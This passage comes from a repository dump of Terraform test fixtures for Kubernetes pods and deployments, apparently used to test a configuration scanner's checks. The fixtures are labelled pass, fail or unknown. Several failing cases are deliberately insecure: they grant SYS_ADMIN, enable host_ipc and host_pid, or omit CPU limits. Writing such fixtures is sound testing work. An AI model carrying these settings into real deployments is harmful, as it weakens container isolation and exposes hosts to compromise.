}\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = [\"SYS_ADMIN\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = [\"SYS_ADMIN\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = [\"SYS_ADMIN\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = []\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get  {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = []\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get  {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = []\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = []\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_CPULimits/main.tf",
    "content": "# fails no spec\nresource \"kubernetes_pod\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_pod_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n# fails no spec\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n}\n\n\n# fails no resource\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no resource\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no limits\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no limits\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no limits\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no limits\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\n# fails no cpu limit\nresource \"kubernetes_pod\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          memory = \"1Gi\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_pod_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          memory = \"1Gi\"\n        }\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              memory = \"1Gi\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n# fails no cpu limit\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              memory = \"1Gi\"\n            }\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          cpu = \"500m\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example\"\n\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      resources {\n        limits = {\n          cpu = \"500m\"\n        }\n\n      }\n\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              cpu = \"500m\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example\"\n\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          resources {\n            limits = {\n              cpu = \"500m\"\n            }\n\n          }\n\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    host_ipc = true\n    host_pid = true\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"unknown\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        host_ipc = true\n        host_pid = true\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        